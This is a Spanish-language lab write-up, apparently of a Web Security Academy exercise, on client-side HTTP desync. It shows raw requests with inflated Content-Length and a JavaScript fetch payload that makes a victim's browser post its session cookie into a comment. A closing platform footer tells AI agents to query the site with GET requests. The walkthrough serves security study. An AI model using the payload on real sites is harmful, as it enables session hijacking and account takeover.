> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/client-side-desync.md).

# Desincronización del lado del cliente

### Desincronización del lado del cliente

Este laboratorio es vulnerable a ataques de desincronización del lado del cliente porque el servidor ignora el encabezado Content-Length para algunos endpoints. Esta debilidad permite que el navegador de la víctima revele su cookie de sesión. / Objetivo del laboratorio:

1. Identifica un vector de desincronización del lado del cliente con Burp y luego comprueba que sea reproducible en el navegador.
2. Encuentra un elemento de la aplicación para inyectar o almacenar texto.
3. Combina ambos para obligar al navegador de la víctima a enviar una serie de solicitudes entre dominios que revelen su cookie.
4. Usa esta cookie para acceder a la cuenta de la víctima.

#### **Análisis del comportamiento del servidor**

Al enviar una solicitud con un Content-Length deliberadamente inflado, el servidor lo ignora y, en su lugar, trata el contenido siguiente como una nueva solicitud:

```http
POST / HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

GET /error HTTP/1.1
Prueba: hola
```

Esta reacción confirma la existencia de desincronización del lado del cliente.

<figure><img src="/files/70e7391e775aa8d14563215e47b6d96d53384116" alt=""><figcaption></figcaption></figure>

#### **Demuestra la desincronización**

Al configurar dos solicitudes en Burp (una simulando al cliente y la otra atacando) y enviarlas en secuencia, la respuesta de error destinada al atacante se envía al cliente legítimo.

<figure><img src="/files/943198fd28431041ebcc33029ab7f50f7f76f301" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6bf032f39fc84d1bbab21ebaf88ef9087f80f7c8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8849cfe27472aa0558ee5dc847b0565909ec04e8" alt=""><figcaption></figcaption></figure>

Esto muestra que el servidor desincroniza los flujos HTTP.

<figure><img src="/files/4b3e886127988cb44c8b5ce77b526a5fa198685a" alt=""><figcaption></figcaption></figure>

#### **Exfiltración de la cookie de la víctima**

Para obligar al navegador de la víctima a revelar su cookie de sesión, apuntamos a la función de comentarios, que permite almacenar texto en la aplicación.

<figure><img src="/files/61ae402ff318df1cf743e8de56b7adfa7b1ad700" alt=""><figcaption></figcaption></figure>

Envía una solicitud de comentario con un Content-Length inflado:

```http
POST /en/post/comment HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&comment=tst&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com
```

```http
csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com&comment=tst
```

Al aumentar este campo (por ejemplo, a 500), el comentario publicado revela entonces la cookie de sesión de la cuenta conectada.

<figure><img src="/files/f979143ce3b68e810f7e7231ea237679535e5d0b" alt=""><figcaption></figcaption></figure>

#### **Automatización mediante un script de JavaScript**

Para convertir el ataque en un exploit usable por la víctima, se construye una solicitud contrabandeada encapsulada en un script:

```javascript
<script>
smuggledRequest = [
    "POST /en/post/comment HTTP/1.1",
    "Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net",
    "Cookie: session=beALzw9m2Bqn8tBscGI4yK0O6TMWbOuz",
    "Content-Type: application/x-www-form-urlencoded",
    "Content-Length: 850",
    "",
    "csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=4&name=test&email=test@test.com&website=https://test.com&comment=test"
].join('/r/n')

fetch("https://0a69005a041eb75c828761ef00630000.h1-web-security-academy.net", {
    method: "POST",
    body: smuggledRequest,
    credentials: 'include',
    mode: 'no-cors'
});
</script>
```

Esta carga útil hace que el navegador de la víctima envíe automáticamente la solicitud contrabandeada.

<figure><img src="/files/dc8406214f0db98bc7e0e755c33d541bda06d491" alt=""><figcaption></figcaption></figure>

La cookie de sesión robada aparece entonces en la sección de comentarios.

<figure><img src="/files/9572c5dbb795a46b8c02c42a2b9c9eafb8d6de48" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/client-side-desync.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
